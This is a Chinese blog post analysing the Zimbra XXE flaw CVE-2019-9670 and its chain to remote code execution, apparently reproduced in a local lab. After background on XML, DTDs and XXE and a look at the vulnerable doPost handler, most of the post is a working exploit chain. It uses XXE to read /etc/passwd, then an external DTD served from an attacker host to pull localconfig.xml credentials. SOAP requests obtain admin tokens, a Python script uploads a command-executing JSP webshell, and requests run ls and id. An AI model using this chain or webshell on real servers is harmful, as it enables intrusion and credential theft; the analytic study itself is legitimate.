Zimbra 远程代码执行漏洞(CVE-2019-9670)漏洞分析
Zimbra 远程代码执行漏洞(CVE-2019-9670)漏洞分析
漏洞简介
Zimbra
是著名的开源系统,提供了一套开源协同办公套件包括WebMail
,日历,通信录,Web
文档管理和创作。一体化地提供了邮件收发、文件共享、协同办公、即时聊天等一系列解决方案。此漏洞的主要利用手法是通过 XXE (XML 外部实体注入)
漏洞读取localconfig.xml
配置文件来获取Zimbra admin ldap password,
接着通过SOAP AuthRequest
认证得到Admin Authtoken
,最后使用全局管理令牌通过ClientUploader
扩展上传Webshell
到Zimbra
服务器,从而实现通过Webshell
来达到远程代码执行效果。(需要注意,最后要达到RCE
要结合SSRF
漏洞,即需要结合另一个漏洞CVE-2019-9621
)
漏洞影响范围
Zimbra< 7.11 版本中,攻击者可以在无需登录的情况下,实现远程代码执行。
Zimbra< 8.11 版本中,在服务端使用 Memcached 做缓存的情况下,经过登录认证后的攻击者可以实现远程代码执行。
漏洞环境搭建
此次采用本地环境搭建的方式进行,因为vulhub没有这个靶场,搭建环境比较复杂,具体步骤查看https://blog.csdn.net/sxr__nc/article/details/130115884?spm=1001.2014.3001.5502
漏洞复现
(此处只针对漏洞是否存在进行复现验证)
使用bp向目标服务器发送如下数据包,其中利用接口如下:/Autodiscover/Autodiscover.xml
POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: 192.168.220.56
Connection: keep-alive
Content-Length: 343
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3
Accept: */*
Origin: https://192.168.220.56
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.220.56/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: ZM_TEST=true;ZA_SKIN=serenity;<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a"><Request><EMailAddress>aaaaa</EMailAddress><AcceptableResponseSchema>&xxe;</AcceptableResponseSchema></Request>
</Autodiscover>
查看返回的数据包如下:
成功返回passwd文件内容.
漏洞原理分析
前置背景
关于XML注入漏洞
XML
有两个先驱——SGML
(标准通用标记语言)和HTML
(超文本标记语言),这两个语言都是非常成功的标记语言。SGML
多用于科技文献和政府办公文件中,SGML
非常复杂,其复杂程度对于网络上的日常使用简直不可思议。HTML
免费、简单,已经获得了广泛的支持,方便大众的使用。而XML
(可扩展标记语言)它既具有SGML
的强大功能和可扩展性,同时又具有HTML
的简单性。
XML
注入攻击和SQL
注入攻击的原理一样,利用了XML
解析机制的漏洞,如果系统对用户输入"<",">"
没有做转义的处理,攻击者可以修改XML
的数据格式,或者添加新的XML
节点,就会导致解析XML
异常,对流程产生影响。
攻击方式
如下为正常的注册访问用户XML
数据,其中用户名由用户自己输入。
<?xml version="1.0" encoding="UTF-8"
<user role="guest">用户输入</user>
正常情况下的用户输入可以是如下格式:
<?xml version="1.0" encoding="UTF-8"
<user role="guest">Admin</user>
<?xml version="1.0" encoding="UTF-8"
<user role="guest">test</user>
攻击者构造恶意数据可能是如下格式:
<?xml version="1.0" encoding="UTF-8"
<user role="guest">test</user>
<user role="admin">Hacker</user>
即攻击者在输入用户名数据的时候构造test\</user>\<user role="admin">Hacker
这样的恶意数据包,如果系统对用用户输入的"<",">"
符号没有进行处理,就会导致上述类型的攻击,攻击者在发送上述类型的数据包的时候可以新建一个admin
权限的用户Hacker
.
关于XXE注入漏洞
XML
外部实体注入(XML External Entity
)简称XXE
漏洞。XXE:XML External Entity
即外部实体,从安全角度理解成XML External Entity attack
外部实体注入攻击,由于程序在解析输入的XML
数据时,解析了攻击者伪造的外部实体而产生的。
概括一下就是"攻击者通过向服务器注入指定的xml
实体内容,从而让服务器按照指定的配置进行执行,导致问题"也就是说服务端接收和解析了来自用户端的xml
数据,而又没有做严格的安全控制,从而导致xml
外部实体注入。
关于DTD
XML
文档有自己的格式规范,而这个格式规范是由DTD(document type definition)
控制的,示例代码如下:
<?xml version="1.0"?>//这一行是 XML 文档定义
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
DTD
(文档类型定义)的作用是定义 XML
文档的合法构建模块。DTD
可被成行地声明于 XML
文档中,也可作为一个外部引用。
内部的 DOCTYPE 声明
假如DTD
被包含在XML
源文件中,它可以通过下面的语法包装在一个DOCTYPE
声明中:
<!DOCTYPE root-element [element-declarations]>
带有 DTD
的XML
文档实例:
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>
详细解释如下:
!DOCTYPE note (第二行)定义此文档是 note 类型的文档。
!ELEMENT note (第三行)定义 note 元素有四个元素:"to、from、heading,、body"
!ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型
!ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型
!ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型
!ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型
下边的数据即标识具体对应元素的数据
外部的 DOCTYPE 声明
如果DTD
位于XML
源文件的外部,那么通过下边的语法封装在DOCTYPE
中:
<!DOCTYPE root-element SYSTEM "filename">
带有外部DTD的XML文档示例:
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note><to>Tove</to><from>Jani</from><heading>Reminder</heading><body>Don't forget me this weekend!</body>
</note>
其中外部dtd
文件内容如下:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
关于DTD中的实体
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
1:实体引用是对实体的引用。
2:实体可在内部或外部进行声明。内部实体的声明:
语法:<!ENTITY entity-name "entity-value">
示例:
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">
引用:
<author>&writer;©right;</author>
外部实体的声明:
语法:<!ENTITY entity-name SYSTEM "URI/URL">
示例:
<!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd">
引用:
<author>&writer;©right;</author> <!--这里的引用会直接获取到外部的dtd文件的内容-->
通用实体:用&实体名;
引用的实体在DTD
中定义,在XML
文档中引用
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
<updateProfile> <firstname>Joe</firstname> <lastname>&file;</lastname> ...
</updateProfile>
<!--此处&file:即为参数实体,在DTD中定义为一个外部的实体-->
参数实体:
1.使用% 实体名;
引用的实体,在DTD
中定义,并且只能在DTD
中使用%实体名;
引用
2.只有在DTD
文件中,参数实体的声明才能引用其他实体
3.和通用实体一样,参数实体也可以外部引用
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;
xxe漏洞原理
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
以上示例代码在解析的时候会提交两个主要参数,一个是<pass>mypass\</pass>
,一个是<user>&xxe;</user>
,在解析的过程中遇到实体的引用会直接获取相应的内容,即这里碰到&xxe
会直接获取到外部实体file:///c:/test.dtd
的内容,这样一来处理数据会很方便,但同时也会有巨大的安全隐患:如果把目标dtd
文件换成敏感文件,这样就会获取到敏感文件的内容。
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
CVE-2019-9670在原理上和这个是相通的。
定位漏洞点
向https://192.168.220.56:7071/Autodiscover/Autodiscover.xml
发送一个空的xml数据包,如下:
POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: 192.168.220.56
Connection: keep-alive
Content-Length: 7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3
Accept: */*
Origin: https://192.168.220.56
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.220.56/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: ZM_TEST=true;ZA_SKIN=serenity;<a></a>
查看返回的数据包:
HTTP/1.1 400 No Email address is specified in the Request
Date: Thu, 06 Apr 2023 11:46:58 GMT
Content-Type: text/html;charset=iso-8859-1
Cache-Control: must-revalidate,no-cache,no-store
Content-Length: 339<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<title>Error 400 No Email address is specified in the Request</title>
</head>
<body><h2>HTTP ERROR 400</h2>
<p>Problem accessing /service/autodiscover/Autodiscover.xml. Reason:
<pre> No Email address is specified in the Request</pre></p>
</body>
</html>
注意关键字:No Email address is specified in the Request
。
使用反编译软件反编译zimbrastore.jar
包,在其中查找该字符串:找到之后打开目标文件
打开目标文件之后.定位到报错信息,可以发现这块的处理逻辑是由doPost
函数进行处理的:到这儿就已经大概定位到漏洞函数了,接下来继续对该函数进行深入分析.
doPost函数逻辑分析
doPost
函数的主要逻辑解析如下:
public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {····················· NodeList nList = doc.getElementsByTagName("Request"); //获取request标签的内容for (int i = 0; i < nList.getLength(); i++) {Node node = nList.item(i);if (node.getNodeType() == 1) {Element element = (Element)node;email = getTagValue("EMailAddress", element); //获取EMailAddress标签的内容responseSchema = getTagValue("AcceptableResponseSchema", element);if (email != null) //获取AcceptableResponseSchema标签的内容break; } } } catch (Exception e) { //处理异常 如果body体为空返回报错信息 Body cannot be parsed log.warn("cannot parse body: %s", new Object[] { content }); sendError(resp, 400, "Body cannot be parsed");return;} if (email == null || email.length() == 0) { //如果获取到的email地址为空,返回报错信息log.warn("No Email address is specified in the Request, %s", new Object[] { content });sendError(resp, 400, "No Email address is specified in the Request");return;} //对AcceptableResponseSchema内容进行判断,如果不满足条件,返回报错信息503并且返回AcceptableResponseSchema的内容。此处也正是造成XXE回显漏洞的关键点if (responseSchema != null && responseSchema.length() > 0)if (!responseSchema.equals("http://schemas.microsoft.com/exchange/autodiscover/mobilesync/responseschema/2006") && !responseSchema.equals("http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a")) {log.warn("Requested response schema not available " + responseSchema);sendError(resp, 503, "Requested response schema not available " + responseSchema);return;} log.debug("Authenticating user");······························
逻辑整理:通过分析doPost
函数的处理流程,在整体的处理过程中对于请求的数据包,只针对EMailAddress
和AcceptableResponseSchema
两个字段进行的解析,在解析的过程中会判断获取到的邮箱地址和AcceptableResponseSchema
字段是否满足既定条件,具体判断如下:
1:判断获取到的邮箱地址是否为空,为空或者长度为0,则返回400的报错信息,提示:请求的数据包中没有Email地址
2:判断AcceptableResponseSchema字段数据是否为空或者长度是否为0
3:判断AcceptableResponseSchema是否等于既定的数据,如果不等于则返回503的报错信息,与此同时返回AcceptableResponseSchema字段中的数据
和上边已经介绍过的XXE漏洞相同,在这里如果把引用的外部实体修改为敏感文件路径,就会直接获取到敏感文件的内容,同时回显出来
漏洞后续利用
前提条件
如果要想达到RCE
的效果,需要再结合SSRF
漏洞来完成,即需要结合CVE-2019-9621
进行结合利用,CVE-2019-9621
是一个SSRF
漏洞,这两个漏洞结合可以达到RCE
的效果。(这个其实是官方的利用思路,但是其实不需要9621也可以直接完成RCE
)
获取关键配置文件信息
接下来利用上述xxe
漏洞获取zimbra
的关键配置文件内容,目的是从配置文件中获取zimbra
的用户名及密码信息。对应的关键配置文件为localconfig.xml
,但是还有一个问题:这个目标文件是一个xml
文件,因此不能直接在数据包中替换,(由于localconfig.xml为XML文件,需要加上CDATA标签才能作为文本读取
)需要借用外部dtd
,构造的外部dtd
如下:
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
创建的poc.dtd
文件,在本地开启http
服务,保证在发送数据包的时候可以成功访问到目标文件
发送如下数据包:
POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: 192.168.220.56
Connection: keep-alive
Content-Length: 409
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3
Accept: */*
Origin: https://192.168.220.56
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.220.56/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: ZM_TEST=true;ZA_SKIN=serenity;<!DOCTYPE Autodiscover [<!ENTITY % dtd SYSTEM "http://192.168.220.124:8000/poc.dtd">%dtd;%all;]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a"><Request><EMailAddress>aaaaa</EMailAddress><AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema></Request>
</Autodiscover>
服务端的数据请求记录:
返回的数据包如下:成功获取到密码
获取低权限token
接下来的利用接口为:https://IP:7071/service/admin/soap
发送的数据包如下:
POST /service/admin/soap HTTP/1.1
Host: 192.168.220.56
Connection: keep-alive
Content-Length: 463
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3
Accept: */*
Origin: https://192.168.220.56
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.220.56/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: ZM_TEST=true;ZA_SKIN=serenity;<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header><context xmlns="urn:zimbra"><userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/></context></soap:Header><soap:Body><AuthRequest xmlns="urn:zimbraAccount"><account by="adminName">zimbra</account><password>XXXX</password> //填写上边获取到的密码</AuthRequest></soap:Body>
</soap:Envelope>
相应的数据包如下:
获取高权限token
这里需要注意下:官方发出的通告声明,这里需要使用SSRF
漏洞(即CVE-2016-9621
)进行高权限的token
获取,其实只需要将上边的数据包中的字段修改下即可直接获取到高权限的token
,当然这个方式有运气的成分,但是也是有理可依的,发送如下数据包:
PS:看一些资料提到需要将host后边添加端口号7071,我这里没有添加也可以获取到高权限的token |
POST /service/admin/soap HTTP/1.1
Host: 192.168.220.56
Connection: keep-alive
Content-Length: 461
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3
Accept: */*
Origin: https://192.168.220.56
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.220.56/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: ZM_TEST=true;ZA_SKIN=serenity;<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Header><context xmlns="urn:zimbra"><userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/></context></soap:Header><soap:Body><AuthRequest xmlns="urn:zimbraAdmin"><account by="adminName">zimbra</account><password>oD4I8Bnm</password></AuthRequest></soap:Body>
</soap:Envelope>
获取到的数据包内容如下:
官方利用方式:利用SSRF漏洞完成
Post: /service/proxy?target=https://IP:7071/service/admin/soap
Ps:(1)HOST:后面加端口7071(2)Cookie中设置Key为ZM_ADMIN_AUTH_TOKEN,值为获取到的低权限token(3)发送获取普通权限token的body内容,但是将AuthRequest的xmlns改为: urn:zimbraAdmin
利用高权限token上传文件
import requests
file= {
'filename1':(None,"whocare",None),
'clientFile':("sunian.jsp",r'<%if("023".equals(request.getParameter("pwd"))){java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>',"text/plain"),
'requestId':(None,"12",None),}
headers ={
"Cookie":"ZM_ADMIN_AUTH_TOKEN=0_512db09799df40f318caa342dc61ce4d1b965fd9_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313638313133343531343539373b61646d696e3d313a313b747970653d363a7a696d6272613b753d313a613b7469643d393a3436303035343039303b76657273696f6e3d31333a382e372e375f47415f313738373b",#改成自己的admin_token
"Host":"foo:7071"}
r=requests.post("https://192.168.220.56:7071/service/extension/clientUploader/upload",files=file,headers=headers,verify=False)
print(r.text)
实现RCE
上传文件成功之后,访问地址https://192.168.220.56:7071/downloads/sunian.jsp
,访问的时候需要在Cookie
里边填写高权限的token
,发送请求数据包如下:(这里远程执行ls命令)
GET /downloads/sunian.jsp?pwd=023&i=ls HTTP/1.1
Host: 192.168.220.56:7071
Cookie: ZM_ADMIN_AUTH_TOKEN=0_6b3e2f178f9c29a7b39e925fa7dd20f56c141708_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313638303938313735373037333b61646d696e3d313a313b747970653d363a7a696d6272613b753d313a613b7469643d393a3538343831363132333b76657273696f6e3d31333a382e372e375f47415f313738373b
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
返回的数据包如下:
尝试执行其它命令:发送如下数据包:
GET /downloads/sunian.jsp?pwd=023&i=id HTTP/1.1
Host: 192.168.220.56:7071
Cookie: ZM_ADMIN_AUTH_TOKEN=0_6b3e2f178f9c29a7b39e925fa7dd20f56c141708_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313638303938313735373037333b61646d696e3d313a313b747970653d363a7a696d6272613b753d313a613b7469643d393a3538343831363132333b76657273696f6e3d31333a382e372e375f47415f313738373b
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
执行id命令,返回的数据包如下:
参考链接
https://xz.aliyun.com/t/7991
https://www.hacking8.com/bug-product/Zimbra/CVE-2019-9621-CVE-2019-9670-Zimbra-远程代码执行漏洞.html
https://coco413.com/archives/52/
相关文章:

Zimbra 远程代码执行漏洞(CVE-2019-9670)漏洞分析
Zimbra 远程代码执行漏洞(CVE-2019-9670)漏洞分析 漏洞简介 Zimbra是著名的开源系统,提供了一套开源协同办公套件包括WebMail,日历,通信录,Web文档管理和创作。一体化地提供了邮件收发、文件共享、协同办公、即时聊天等一系列解决…...

【数据结构初阶】第七节.树和二叉树的性质
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 前言 一、树 1.1 树的概念 1.2 树的结点分类 1.3 结点之间的关系 1.4 树的存储结构 1.5 其他相关概念 二、 二叉树 2.1 二叉树的概念 2.2 特殊的二叉树 2.3 二叉树的性质 2.4…...

车载软件架构——闲聊几句AUTOSAR BSW(一)
我是穿拖鞋的汉子,魔都中坚持长期主义的工程师。 老规矩,分享一段喜欢的文字,避免自己成为高知识低文化的工程师: 人生是用来体验的,不是用来演绎完美的。我慢慢能接受自己身上那些灰暗的部分,原谅自己的迟钝和平庸,允许自己出错,允许自己偶尔断电,带着缺憾拼命绽放,…...

我国元宇宙行业分析:政策、技术、资金助推行业探索多元化应用场景
1.元宇宙行业概述、特征及产业链图解 元宇宙是人类运用数字技术构建的,由现实世界映射或超越现实世界,可与现实世界交互的虚拟世界,具备新型社会体系的数字生活空间,主要具有沉浸式体验、开放性、虚拟身份、不断演化、知识互动、…...

都已经那么卷了,用户还需要开源的 API 管理工具么
关于 API 管理工具,如今的市场已经把用户教育的差不多了,毫不夸张地说,如果我随机抽取一位幸运读者,他都能给我罗列出一二三四款大家耳熟能详的工具。可说到开源的 API 管理工具,大家又能知道多少呢? 我们是…...
工信部教育与考试中心-软件测试工程师考试题A卷-答
软件测试工程师考试题 姓名________________ 学号_________________ 班级__________________ 题号 一 二 三 四 五 总分 分数 说明:本试卷分五部分,全卷满分100分。考试用时100分钟。 注 意 事 项:1、本此考试为闭卷…...

【设计模式】模板方法模式--让你的代码更具灵活性与可扩展性
文章目录 前言模板方法模式的定义核心组成模板方法模式与其他设计模式的区别 代码实现抽象类具体类Client 经典类图spring中的例子 总结 前言 在软件开发中,设计模式是一种经过实践检验的、可复用的解决方案,它们可以帮助我们解决某一特定领域的典型问题…...
搞明白Redis持久化机制
Redis是一种内存数据库,其内存中的数据存储在计算机的内存中,如果服务器发生崩溃或者重启,内存中的数据将会丢失。为了避免这种情况发生,Redis提供了两种持久化机制:RDB和AOF。 一、RDB持久化 Redis支持将当前数据状…...
C# 中的正则表达式,如何使用正则表达式进行字符串匹配和替换?
在 C# 中,可以使用正则表达式进行字符串匹配和替换。正则表达式是一种用来描述字符串模式的语言,可以用来检查一个字符串是否符合某种模式,或者从字符串中提取符合某种模式的子串。下面我们介绍一些常用的正则表达式操作: 创建正…...

7年时间,从功能测试到测试开发月薪30K,有志者事竟成
突破自己的技术瓶颈并不是一蹴而就,还是需要看清楚一些东西,这里也有一些经验和见解跟大家分享一下。同样是职场人士,我也有我的经历和故事。在工作期间,我有过2年加薪5次的小小“战绩”(同期进入公司的员工࿰…...

ES6 块级作用域
ES6之前没有块级作用域,ES5的var没有块级作用域的概念,只有function有作用域的概念,ES6的let、const引入了块级作用域。 ES5之前if和for都没有作用域,所以很多时候需要使用function的作用域,比如闭包。 1.1.1 什么…...
ShardingSphere-JDBC垂直分片
什么是数据分片? 简单来说,就是指通过某种特定的条件,将我们存放在同一个数据库中的数据分散存放到多个数据库(主机)上面,以达到分散单台设备负载的效果。 数据的切分(Sharding)根据…...

Node 04-http模块
HTTP 协议 概念 HTTP(hypertext transport protocol)协议;中文叫 超文本传输协议 是一种基于TCP/IP的应用层通信协议 这个协议详细规定了 浏览器 和 万维网 服务器 之间互相通信的规则 协议中主要规定了两个方面的内容: 客户端࿱…...
记录项目过程中的编译错误及解决方法(持续更新中)
文章目录 前言 前言 记录做项目的时候编译问题,好记性不如烂笔头,下次碰到相同的问题也可以方便查阅 2023.3.22 问题1:每次跑回归测试的时候,总是会出现错误,总共只有5个test,单独跑这个case的时候是没有…...
Android Hilt依赖注入框架
Hilt 是一个基于 Dagger2 的依赖注入框架,它提供了一些简便的注入方式来简化开发者在 Android 应用中使用 Dagger2 的复杂性。Hilt 旨在简化 Android 应用程序中的依赖注入实现,使开发人员能够更轻松地管理依赖项和应用程序的组件。 Hilt 的主要目标是提…...

LeetCode:59. 螺旋矩阵 II
🍎道阻且长,行则将至。🍓 🌻算法,不如说它是一种思考方式🍀 算法专栏: 👉🏻123 一、🌱59. 螺旋矩阵 II 题目描述:给你一个正整数 n ,…...

信息安全复习六:公开密钥密码学
一、章节梗概 1.公开密钥密码模型的基本原理 2.两个算法:RSA&D-H算法 主要内容 1.对称密钥密码的密钥交换问题 2.公钥密码模型的提出 3.设计公钥密码的基本要求 4.数字签名 5.RSA算法 6.公钥密码的特征总结 二、对称密钥密码 对称加密算法中,数据…...

YOLOv8 更换主干网络之 ShuffleNetv2
《ShuffleNet V2: Practical Guidelines for Efficient CNN Architecture Design》 目前,神经网络架构设计多以计算复杂度的间接度量——FLOPs为指导。然而,直接的度量,如速度,也取决于其他因素,如内存访问成本和平台特性。因此,这项工作建议评估目标平台上的直接度量,而…...
async/await最详细的讲解
一、async 和 await 在干什么 async 是“异步”的简写,而 await 的意思是等待。async 用于申明一个 function 是异步的,而 await 等待某个操作完成。 async/await 是一种编写异步代码的新方法。之前异步代码的方案是回调和 promise。 async/await 像 p…...

学习数据结构第6天(栈的基本概念)
栈的基本概念 栈的定义栈的基本操作栈的存储结构 栈的定义 栈(Stack)是一种基于先进后出(FILO)或者后进先出(LIFO)的数据结构,是一种只允许在一端进行插入和删除操作的特殊线性表。 栈按照先进后出的原则存储数据,先进入的数据被压入栈底,最…...
macOS多出来了:Google云端硬盘、YouTube、表格、幻灯片、Gmail、Google文档等应用
文章目录 问题现象问题原因解决办法 问题现象 macOS启动台(Launchpad)多出来了:Google云端硬盘、YouTube、表格、幻灯片、Gmail、Google文档等应用。 问题原因 很明显,都是Google家的办公全家桶。这些应用并不是通过独立安装的…...
在四层代理中还原真实客户端ngx_stream_realip_module
一、模块原理与价值 PROXY Protocol 回溯 第三方负载均衡(如 HAProxy、AWS NLB、阿里 SLB)发起上游连接时,将真实客户端 IP/Port 写入 PROXY Protocol v1/v2 头。Stream 层接收到头部后,ngx_stream_realip_module 从中提取原始信息…...

Python爬虫(一):爬虫伪装
一、网站防爬机制概述 在当今互联网环境中,具有一定规模或盈利性质的网站几乎都实施了各种防爬措施。这些措施主要分为两大类: 身份验证机制:直接将未经授权的爬虫阻挡在外反爬技术体系:通过各种技术手段增加爬虫获取数据的难度…...
unix/linux,sudo,其发展历程详细时间线、由来、历史背景
sudo 的诞生和演化,本身就是一部 Unix/Linux 系统管理哲学变迁的微缩史。来,让我们拨开时间的迷雾,一同探寻 sudo 那波澜壮阔(也颇为实用主义)的发展历程。 历史背景:su的时代与困境 ( 20 世纪 70 年代 - 80 年代初) 在 sudo 出现之前,Unix 系统管理员和需要特权操作的…...

OPENCV形态学基础之二腐蚀
一.腐蚀的原理 (图1) 数学表达式:dst(x,y) erode(src(x,y)) min(x,y)src(xx,yy) 腐蚀也是图像形态学的基本功能之一,腐蚀跟膨胀属于反向操作,膨胀是把图像图像变大,而腐蚀就是把图像变小。腐蚀后的图像变小变暗淡。 腐蚀…...

Python基于历史模拟方法实现投资组合风险管理的VaR与ES模型项目实战
说明:这是一个机器学习实战项目(附带数据代码文档),如需数据代码文档可以直接到文章最后关注获取。 1.项目背景 在金融市场日益复杂和波动加剧的背景下,风险管理成为金融机构和个人投资者关注的核心议题之一。VaR&…...

C++:多态机制详解
目录 一. 多态的概念 1.静态多态(编译时多态) 二.动态多态的定义及实现 1.多态的构成条件 2.虚函数 3.虚函数的重写/覆盖 4.虚函数重写的一些其他问题 1).协变 2).析构函数的重写 5.override 和 final关键字 1&#…...

Web后端基础(基础知识)
BS架构:Browser/Server,浏览器/服务器架构模式。客户端只需要浏览器,应用程序的逻辑和数据都存储在服务端。 优点:维护方便缺点:体验一般 CS架构:Client/Server,客户端/服务器架构模式。需要单独…...
Kafka主题运维全指南:从基础配置到故障处理
#作者:张桐瑞 文章目录 主题日常管理1. 修改主题分区。2. 修改主题级别参数。3. 变更副本数。4. 修改主题限速。5.主题分区迁移。6. 常见主题错误处理常见错误1:主题删除失败。常见错误2:__consumer_offsets占用太多的磁盘。 主题日常管理 …...

Sklearn 机器学习 缺失值处理 获取填充失值的统计值
💖亲爱的技术爱好者们,热烈欢迎来到 Kant2048 的博客!我是 Thomas Kant,很开心能在CSDN上与你们相遇~💖 本博客的精华专栏: 【自动化测试】 【测试经验】 【人工智能】 【Python】 使用 Scikit-learn 处理缺失值并提取填充统计信息的完整指南 在机器学习项目中,数据清…...